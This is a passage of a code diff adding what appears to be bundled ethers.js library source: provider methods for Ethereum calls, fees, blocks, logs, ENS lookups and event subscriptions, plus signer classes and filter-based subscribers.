maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt("1000000000"); + maxFeePerGas = (block.baseFeePerGas * BN_2$1) + maxPriorityFeePerGas; + } + return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas); + }; + // Check for a FeeDataNetWorkPlugin + const plugin = network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + if (plugin) { + const req = new FetchRequest(plugin.url); + const feeData = await plugin.processFunc(getFeeDataFunc, this, req); + return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas); + } + return await getFeeDataFunc(); + } + async estimateGas(_tx) { + let tx = this._getTransactionRequest(_tx); + if (isPromise$1(tx)) { + tx = await tx; + } + return getBigInt(await this.#perform({ + method: "estimateGas", transaction: tx + }), "%response"); + } + async #call(tx, blockTag, attempt) { + assert(attempt < MAX_CCIP_REDIRECTS, "CCIP read exceeded maximum redirections", "OFFCHAIN_FAULT", { + reason: "TOO_MANY_REDIRECTS", + transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true }) + }); + // This came in as a PerformActionTransaction, so to/from are safe; we can cast + const transaction = copyRequest(tx); + try { + return hexlify(await this._perform({ method: "call", transaction, blockTag })); + } + catch (error) { + // CCIP Read OffchainLookup + if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === "latest" && transaction.to != null && dataSlice(error.data, 0, 4) === "0x556f1830") { + const data = error.data; + const txSender = await resolveAddress(transaction.to, this); + // Parse the CCIP Read Arguments + let ccipArgs; + try { + ccipArgs = parseOffchainLookup(dataSlice(error.data, 4)); + } + catch (error) { + assert(false, error.message, "OFFCHAIN_FAULT", { + reason: "BAD_DATA", transaction, info: { data } + }); + } + // Check the sender of the OffchainLookup matches the transaction + assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), "CCIP Read sender mismatch", "CALL_EXCEPTION", { + action: "call", + data, + reason: "OffchainLookup", + transaction: transaction, + invocation: null, + revert: { + signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", + name: "OffchainLookup", + args: ccipArgs.errorArgs + } + }); + const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls); + assert(ccipResult != null, "CCIP Read failed to fetch data", "OFFCHAIN_FAULT", { + reason: "FETCH_FAILED", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs } + }); + const tx = { + to: txSender, + data: concat([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])]) + }; + this.emit("debug", { action: "sendCcipReadCall", transaction: tx }); + try { + const result = await this.#call(tx, blockTag, attempt + 1); + this.emit("debug", { action: "receiveCcipReadCallResult", transaction: Object.assign({}, tx), result }); + return result; + } + catch (error) { + this.emit("debug", { action: "receiveCcipReadCallError", transaction: Object.assign({}, tx), error }); + throw error; + } + } + throw error; + } + } + async #checkNetwork(promise) { + const { value } = await resolveProperties({ + network: this.getNetwork(), + value: promise + }); + return value; + } + async call(_tx) { + const { tx, blockTag } = await resolveProperties({ + tx: this._getTransactionRequest(_tx), + blockTag: this._getBlockTag(_tx.blockTag) + }); + return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1)); + } + // Account + async #getAccountValue(request, _address, _blockTag) { + let address = this._getAddress(_address); + let blockTag = this._getBlockTag(_blockTag); + if (typeof (address) !== "string" || typeof (blockTag) !== "string") { + [address, blockTag] = await Promise.all([address, blockTag]); + } + return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag }))); + } + async getBalance(address, blockTag) { + return getBigInt(await this.#getAccountValue({ method: "getBalance" }, address, blockTag), "%response"); + } + async getTransactionCount(address, blockTag) { + return getNumber(await this.#getAccountValue({ method: "getTransactionCount" }, address, blockTag), "%response"); + } + async getCode(address, blockTag) { + return hexlify(await this.#getAccountValue({ method: "getCode" }, address, blockTag)); + } + async getStorage(address, _position, blockTag) { + const position = getBigInt(_position, "position"); + return hexlify(await this.#getAccountValue({ method: "getStorage", position }, address, blockTag)); + } + // Write + async broadcastTransaction(signedTx) { + const { blockNumber, hash, network } = await resolveProperties({ + blockNumber: this.getBlockNumber(), + hash: this._perform({ + method: "broadcastTransaction", + signedTransaction: signedTx + }), + network: this.getNetwork() + }); + const tx = Transaction.from(signedTx); + if (tx.hash !== hash) { + throw new Error("@TODO: the returned hash did not match"); + } + return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber); + } + async #getBlock(block, includeTransactions) { + // @TODO: Add CustomBlockPlugin check + if (isHexString(block, 32)) { + return await this.#perform({ + method: "getBlock", blockHash: block, includeTransactions + }); + } + let blockTag = this._getBlockTag(block); + if (typeof (blockTag) !== "string") { + blockTag = await blockTag; + } + return await this.#perform({ + method: "getBlock", blockTag, includeTransactions + }); + } + // Queries + async getBlock(block, prefetchTxs) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#getBlock(block, !!prefetchTxs) + }); + if (params == null) { + return null; + } + return this._wrapBlock(params, network); + } + async getTransaction(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransaction", hash }) + }); + if (params == null) { + return null; + } + return this._wrapTransactionResponse(params, network); + } + async getTransactionReceipt(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransactionReceipt", hash }) + }); + if (params == null) { + return null; + } + // Some backends did not backfill the effectiveGasPrice into old transactions + // in the receipt, so we look it up manually and inject it. + if (params.gasPrice == null && params.effectiveGasPrice == null) { + const tx = await this.#perform({ method: "getTransaction", hash }); + if (tx == null) { + throw new Error("report this; could not find tx or effectiveGasPrice"); + } + params.effectiveGasPrice = tx.gasPrice; + } + return this._wrapTransactionReceipt(params, network); + } + async getTransactionResult(hash) { + const { result } = await resolveProperties({ + network: this.getNetwork(), + result: this.#perform({ method: "getTransactionResult", hash }) + }); + if (result == null) { + return null; + } + return hexlify(result); + } + // Bloom-filter Queries + async getLogs(_filter) { + let filter = this._getFilter(_filter); + if (isPromise$1(filter)) { + filter = await filter; + } + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getLogs", filter }) + }); + return params.map((p) => this._wrapLog(p, network)); + } + // ENS + _getProvider(chainId) { + assert(false, "provider cannot connect to target network", "UNSUPPORTED_OPERATION", { + operation: "_getProvider()" + }); + } + async getResolver(name) { + return await EnsResolver.fromName(this, name); + } + async getAvatar(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAvatar(); + } + return null; + } + async resolveName(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAddress(); + } + return null; + } + async lookupAddress(address) { + address = getAddress(address); + const node = namehash(address.substring(2).toLowerCase() + ".addr.reverse"); + try { + const ensAddr = await EnsResolver.getEnsAddress(this); + const ensContract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], this); + const resolver = await ensContract.resolver(node); + if (resolver == null || resolver === ZeroAddress) { + return null; + } + const resolverContract = new Contract(resolver, [ + "function name(bytes32) view returns (string)" + ], this); + const name = await resolverContract.name(node); + // Failed forward resolution + const check = await this.resolveName(name); + if (check !== address) { + return null; + } + return name; + } + catch (error) { + // No data was returned from the resolver + if (isError(error, "BAD_DATA") && error.value === "0x") { + return null; + } + // Something reerted + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + return null; + } + async waitForTransaction(hash, _confirms, timeout) { + const confirms = (_confirms != null) ? _confirms : 1; + if (confirms === 0) { + return this.getTransactionReceipt(hash); + } + return new Promise(async (resolve, reject) => { + let timer = null; + const listener = (async (blockNumber) => { + try { + const receipt = await this.getTransactionReceipt(hash); + if (receipt != null) { + if (blockNumber - receipt.blockNumber + 1 >= confirms) { + resolve(receipt); + //this.off("block", listener); + if (timer) { + clearTimeout(timer); + timer = null; + } + return; + } + } + } + catch (error) { + console.log("EEE", error); + } + this.once("block", listener); + }); + if (timeout != null) { + timer = setTimeout(() => { + if (timer == null) { + return; + } + timer = null; + this.off("block", listener); + reject(makeError("timeout", "TIMEOUT", { reason: "timeout" })); + }, timeout); + } + listener(await this.getBlockNumber()); + }); + } + async waitForBlock(blockTag) { + assert(false, "not implemented yet", "NOT_IMPLEMENTED", { + operation: "waitForBlock" + }); + } + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId) { + const timer = this.#timers.get(timerId); + if (!timer) { + return; + } + if (timer.timer) { + clearTimeout(timer.timer); + } + this.#timers.delete(timerId); + } + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func, timeout) { + if (timeout == null) { + timeout = 0; + } + const timerId = this.#nextTimer++; + const func = () => { + this.#timers.delete(timerId); + _func(); + }; + if (this.paused) { + this.#timers.set(timerId, { timer: null, func, time: timeout }); + } + else { + const timer = setTimeout(func, timeout); + this.#timers.set(timerId, { timer, func, time: getTime$1() }); + } + return timerId; + } + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func) { + for (const sub of this.#subs.values()) { + func(sub.subscriber); + } + } + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub) { + switch (sub.type) { + case "debug": + case "error": + case "network": + return new UnmanagedSubscriber(sub.type); + case "block": { + const subscriber = new PollingBlockSubscriber(this); + subscriber.pollingInterval = this.pollingInterval; + return subscriber; + } + case "safe": + case "finalized": + return new PollingBlockTagSubscriber(this, sub.type); + case "event": + return new PollingEventSubscriber(this, sub.filter); + case "transaction": + return new PollingTransactionSubscriber(this, sub.hash); + case "orphan": + return new PollingOrphanSubscriber(this, sub.filter); + } + throw new Error(`unsupported event: ${sub.type}`); + } + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub, newSub) { + for (const sub of this.#subs.values()) { + if (sub.subscriber === oldSub) { + if (sub.started) { + sub.subscriber.stop(); + } + sub.subscriber = newSub; + if (sub.started) { + newSub.start(); + } + if (this.#pausedState != null) { + newSub.pause(this.#pausedState); + } + break; + } + } + } + async #hasSub(event, emitArgs) { + let sub = await getSubscription(event, this); + // This is a log that is removing an existing log; we actually want + // to emit an orphan event for the removed log + if (sub.type === "event" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) { + sub = await getSubscription({ orphan: "drop-log", log: emitArgs[0] }, this); + } + return this.#subs.get(sub.tag) || null; + } + async #getSub(event) { + const subscription = await getSubscription(event, this); + // Prevent tampering with our tag in any subclass' _getSubscriber + const tag = subscription.tag; + let sub = this.#subs.get(tag); + if (!sub) { + const subscriber = this._getSubscriber(subscription); + const addressableMap = new WeakMap(); + const nameMap = new Map(); + sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] }; + this.#subs.set(tag, sub); + } + return sub; + } + async on(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: false }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async once(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: true }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async emit(event, ...args) { + const sub = await this.#hasSub(event, args); + // If there is not subscription or if a recent emit removed + // the last of them (which also deleted the sub) do nothing + if (!sub || sub.listeners.length === 0) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const payload = new EventPayload(this, (once ? null : listener), event); + try { + listener.call(this, ...args, payload); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return (count > 0); + } + async listenerCount(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + let total = 0; + for (const { listeners } of this.#subs.values()) { + total += listeners.length; + } + return total; + } + async listeners(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + let result = []; + for (const { listeners } of this.#subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + async off(event, listener) { + const sub = await this.#hasSub(event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (!listener || sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return this; + } + async removeAllListeners(event) { + if (event) { + const { tag, started, subscriber } = await this.#getSub(event); + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + else { + for (const [tag, { started, subscriber }] of this.#subs) { + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + } + return this; + } + // Alias for "on" + async addListener(event, listener) { + return await this.on(event, listener); + } + // Alias for "off" + async removeListener(event, listener) { + return this.off(event, listener); + } + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed() { + return this.#destroyed; + } + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy() { + // Stop all listeners + this.removeAllListeners(); + // Shut down all tiemrs + for (const timerId of this.#timers.keys()) { + this._clearTimeout(timerId); + } + this.#destroyed = true; + } + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused() { return (this.#pausedState != null); } + set paused(pause) { + if (!!pause === this.paused) { + return; + } + if (this.paused) { + this.resume(); + } + else { + this.pause(false); + } + } + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused) { + this.#lastBlockNumber = -1; + if (this.#pausedState != null) { + if (this.#pausedState == !!dropWhilePaused) { + return; + } + assert(false, "cannot change pause type; resume first", "UNSUPPORTED_OPERATION", { + operation: "pause" + }); + } + this._forEachSubscriber((s) => s.pause(dropWhilePaused)); + this.#pausedState = !!dropWhilePaused; + for (const timer of this.#timers.values()) { + // Clear the timer + if (timer.timer) { + clearTimeout(timer.timer); + } + // Remaining time needed for when we become unpaused + timer.time = getTime$1() - timer.time; + } + } + /** + * Resume the provider. + */ + resume() { + if (this.#pausedState == null) { + return; + } + this._forEachSubscriber((s) => s.resume()); + this.#pausedState = null; + for (const timer of this.#timers.values()) { + // Remaining time when we were paused + let timeout = timer.time; + if (timeout < 0) { + timeout = 0; + } + // Start time (in cause paused, so we con compute remaininf time) + timer.time = getTime$1(); + // Start the timer + setTimeout(timer.func, timeout); + } + } +} +function _parseString(result, start) { + try { + const bytes = _parseBytes(result, start); + if (bytes) { + return toUtf8String(bytes); + } + } + catch (error) { } + return null; +} +function _parseBytes(result, start) { + if (result === "0x") { + return null; + } + try { + const offset = getNumber(dataSlice(result, start, start + 32)); + const length = getNumber(dataSlice(result, offset, offset + 32)); + return dataSlice(result, offset + 32, offset + 32 + length); + } + catch (error) { } + return null; +} +function numPad(value) { + const result = toBeArray(value); + if (result.length > 32) { + throw new Error("internal; should not happen"); + } + const padded = new Uint8Array(32); + padded.set(result, 32 - result.length); + return padded; +} +function bytesPad(value) { + if ((value.length % 32) === 0) { + return value; + } + const result = new Uint8Array(Math.ceil(value.length / 32) * 32); + result.set(value); + return result; +} +const empty = new Uint8Array([]); +// ABI Encodes a series of (bytes, bytes, ...) +function encodeBytes(datas) { + const result = []; + let byteCount = 0; + // Add place-holders for pointers as we add items + for (let i = 0; i < datas.length; i++) { + result.push(empty); + byteCount += 32; + } + for (let i = 0; i < datas.length; i++) { + const data = getBytes(datas[i]); + // Update the bytes offset + result[i] = numPad(byteCount); + // The length and padded value of data + result.push(numPad(data.length)); + result.push(bytesPad(data)); + byteCount += 32 + Math.ceil(data.length / 32) * 32; + } + return concat(result); +} +const zeros = "0x0000000000000000000000000000000000000000000000000000000000000000"; +function parseOffchainLookup(data) { + const result = { + sender: "", urls: [], calldata: "", selector: "", extraData: "", errorArgs: [] + }; + assert(dataLength(data) >= 5 * 32, "insufficient OffchainLookup data", "OFFCHAIN_FAULT", { + reason: "insufficient OffchainLookup data" + }); + const sender = dataSlice(data, 0, 32); + assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), "corrupt OffchainLookup sender", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup sender" + }); + result.sender = dataSlice(sender, 12); + // Read the URLs from the response + try { + const urls = []; + const urlsOffset = getNumber(dataSlice(data, 32, 64)); + const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32)); + const urlsData = dataSlice(data, urlsOffset + 32); + for (let u = 0; u < urlsLength; u++) { + const url = _parseString(urlsData, u * 32); + if (url == null) { + throw new Error("abort"); + } + urls.push(url); + } + result.urls = urls; + } + catch (error) { + assert(false, "corrupt OffchainLookup urls", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup urls" + }); + } + // Get the CCIP calldata to forward + try { + const calldata = _parseBytes(data, 64); + if (calldata == null) { + throw new Error("abort"); + } + result.calldata = calldata; + } + catch (error) { + assert(false, "corrupt OffchainLookup calldata", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup calldata" + }); + } + // Get the callbackSelector (bytes4) + assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), "corrupt OffchainLookup callbaackSelector", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup callbaackSelector" + }); + result.selector = dataSlice(data, 96, 100); + // Get the extra data to send back to the contract as context + try { + const extraData = _parseBytes(data, 128); + if (extraData == null) { + throw new Error("abort"); + } + result.extraData = extraData; + } + catch (error) { + assert(false, "corrupt OffchainLookup extraData", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup extraData" + }); + } + result.errorArgs = "sender,urls,calldata,selector,extraData".split(/,/).map((k) => result[k]); + return result; +} + +/** + * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes + * are sufficent for most developers, but this is provided to + * fascilitate more complex Signers. + * + * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer] + */ +function checkProvider(signer, operation) { + if (signer.provider) { + return signer.provider; + } + assert(false, "missing provider", "UNSUPPORTED_OPERATION", { operation }); +} +async function populate(signer, tx) { + let pop = copyRequest(tx); + if (pop.to != null) { + pop.to = resolveAddress(pop.to, signer); + } + if (pop.from != null) { + const from = pop.from; + pop.from = Promise.all([ + signer.getAddress(), + resolveAddress(from, signer) + ]).then(([address, from]) => { + assertArgument(address.toLowerCase() === from.toLowerCase(), "transaction from mismatch", "tx.from", from); + return address; + }); + } + else { + pop.from = signer.getAddress(); + } + return await resolveProperties(pop); +} +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +class AbstractSigner { + /** + * The provider this signer is connected to. + */ + provider; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider) { + defineProperties(this, { provider: (provider || null) }); + } + async getNonce(blockTag) { + return checkProvider(this, "getTransactionCount").getTransactionCount(await this.getAddress(), blockTag); + } + async populateCall(tx) { + const pop = await populate(this, tx); + return pop; + } + async populateTransaction(tx) { + const provider = checkProvider(this, "populateTransaction"); + const pop = await populate(this, tx); + if (pop.nonce == null) { + pop.nonce = await this.getNonce("pending"); + } + if (pop.gasLimit == null) { + pop.gasLimit = await this.estimateGas(pop); + } + // Populate the chain ID + const network = await (this.provider).getNetwork(); + if (pop.chainId != null) { + const chainId = getBigInt(pop.chainId); + assertArgument(chainId === network.chainId, "transaction chainId mismatch", "tx.chainId", tx.chainId); + } + else { + pop.chainId = network.chainId; + } + // Do not allow mixing pre-eip-1559 and eip-1559 properties + const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null); + if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) { + assertArgument(false, "eip-1559 transaction do not support gasPrice", "tx", tx); + } + else if ((pop.type === 0 || pop.type === 1) && hasEip1559) { + assertArgument(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", tx); + } + if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) { + // Fully-formed EIP-1559 transaction (skip getFeeData) + pop.type = 2; + } + else if (pop.type === 0 || pop.type === 1) { + // Explicit Legacy or EIP-2930 transaction + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + assert(feeData.gasPrice != null, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { + operation: "getGasPrice" + }); + // Populate missing gasPrice + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + } + else { + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + if (pop.type == null) { + // We need to auto-detect the intended type of this transaction... + if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { + // The network supports EIP-1559! + // Upgrade transaction from null to eip-1559 + if (pop.authorizationList && pop.authorizationList.length) { + pop.type = 4; + } + else { + pop.type = 2; + } + if (pop.gasPrice != null) { + // Using legacy gasPrice property on an eip-1559 network, + // so use gasPrice as both fee properties + const gasPrice = pop.gasPrice; + delete pop.gasPrice; + pop.maxFeePerGas = gasPrice; + pop.maxPriorityFeePerGas = gasPrice; + } + else { + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + else if (feeData.gasPrice != null) { + // Network doesn't support EIP-1559... + // ...but they are trying to use EIP-1559 properties + assert(!hasEip1559, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { + operation: "populateTransaction" + }); + // Populate missing fee data + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + // Explicitly set untyped transaction to legacy + // @TODO: Maybe this shold allow type 1? + pop.type = 0; + } + else { + // getFeeData has failed us. + assert(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { + operation: "signer.getFeeData" + }); + } + } + else if (pop.type === 2 || pop.type === 3 || pop.type === 4) { + // Explicitly using EIP-1559 or EIP-4844 + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + //@TOOD: Don't await all over the place; save them up for + // the end for better batching + return await resolveProperties(pop); + } + async populateAuthorization(_auth) { + const auth = Object.assign({}, _auth); + // Add a chain ID if not explicitly set to 0 + if (auth.chainId == null) { + auth.chainId = (await checkProvider(this, "getNetwork").getNetwork()).chainId; + } + // @TODO: Take chain ID into account when populating noce? + if (auth.nonce == null) { + auth.nonce = await this.getNonce(); + } + return auth; + } + async estimateGas(tx) { + return checkProvider(this, "estimateGas").estimateGas(await this.populateCall(tx)); + } + async call(tx) { + return checkProvider(this, "call").call(await this.populateCall(tx)); + } + async resolveName(name) { + const provider = checkProvider(this, "resolveName"); + return await provider.resolveName(name); + } + async sendTransaction(tx) { + const provider = checkProvider(this, "sendTransaction"); + const pop = await this.populateTransaction(tx); + delete pop.from; + const txObj = Transaction.from(pop); + return await provider.broadcastTransaction(await this.signTransaction(txObj)); + } + // @TODO: in v7 move this to be abstract + authorize(authorization) { + assert(false, "authorization not implemented for this signer", "UNSUPPORTED_OPERATION", { operation: "authorize" }); + } +} +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +class VoidSigner extends AbstractSigner { + /** + * The signer address. + */ + address; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address, provider) { + super(provider); + defineProperties(this, { address }); + } + async getAddress() { return this.address; } + connect(provider) { + return new VoidSigner(this.address, provider); + } + #throwUnsupported(suffix, operation) { + assert(false, `VoidSigner cannot sign ${suffix}`, "UNSUPPORTED_OPERATION", { operation }); + } + async signTransaction(tx) { + this.#throwUnsupported("transactions", "signTransaction"); + } + async signMessage(message) { + this.#throwUnsupported("messages", "signMessage"); + } + async signTypedData(domain, types, value) { + this.#throwUnsupported("typed-data", "signTypedData"); + } +} + +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ +// Show the throttle message only once per service +const shown = new Set(); +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +function showThrottleMessage(service) { + if (shown.has(service)) { + return; + } + shown.add(service); + console.log("========= NOTICE ========="); + console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`); + console.log(""); + console.log("The default API keys for each service are provided as a highly-throttled,"); + console.log("community resource for low-traffic projects and early prototyping."); + console.log(""); + console.log("While your application will continue to function, we highly recommended"); + console.log("signing up for your own API keys to improve performance, increase your"); + console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); + console.log(""); + console.log("For more details: https:/\/docs.ethers.org/api-keys/"); + console.log("=========================="); +} + +function copy(obj) { + return JSON.parse(JSON.stringify(obj)); +} +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdSubscriber { + #provider; + #filterIdPromise; + #poller; + #running; + #network; + #hault; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#filterIdPromise = null; + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#network = null; + this.#hault = false; + } + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider, result) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider) { + throw new Error("subclasses must override this"); + } + async #poll(blockNumber) { + try { + // Subscribe if necessary + if (this.#filterIdPromise == null) { + this.#filterIdPromise = this._subscribe(this.#provider); + } + // Get the Filter ID + let filterId = null; + try { + filterId = await this.#filterIdPromise; + } + catch (error) { + if (!isError(error, "UNSUPPORTED_OPERATION") || error.operation !== "eth_newFilter") { + throw error; + } + } + // The backend does not support Filter ID; downgrade to + // polling + if (filterId == null) { + this.#filterIdPromise = null; + this.#provider._recoverSubscriber(this, this._recover(this.#provider)); + return; + } + const network = await this.#provider.getNetwork(); + if (!this.#network) { + this.#network = network; + } + if (this.#network.chainId !== network.chainId) { + throw new Error("chaid changed"); + } + if (this.#hault) { + return; + } + const result = await this.#provider.send("eth_getFilterChanges", [filterId]); + await this._emitResults(this.#provider, result); + } + catch (error) { + console.log("@TODO", error); + } + this.#provider.once("block", this.#poller); + } + #teardown() { + const filterIdPromise = this.#filterIdPromise; + if (filterIdPromise) { + this.#filterIdPromise = null; + filterIdPromise.then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_uninstallFilter", [filterId]); + }); + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#hault = true; + this.#teardown(); + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#teardown(); + } + this.#provider.off("block", this.#poller); + } + resume() { this.start(); } +} +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdEventSubscriber extends FilterIdSubscriber { + #event; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider, filter) { + super(provider); + this.#event = copy(filter); + } + _recover(provider) { + return new PollingEventSubscriber(provider, this.#event); + } + async _subscribe(provider) { + const filterId = await provider.send("eth_newFilter", [this.#event]); + return filterId; + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit(this.#event, provider._wrapLog(result, provider._network)); + } + } +} +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdPendingSubscriber extends FilterIdSubscriber { + async _subscribe(provider) { + return await provider.send("eth_newPendingTransactionFilter", []); + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit("pending", result); + } + } +} + +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ +// @TODO: +// - Add the batching API +// 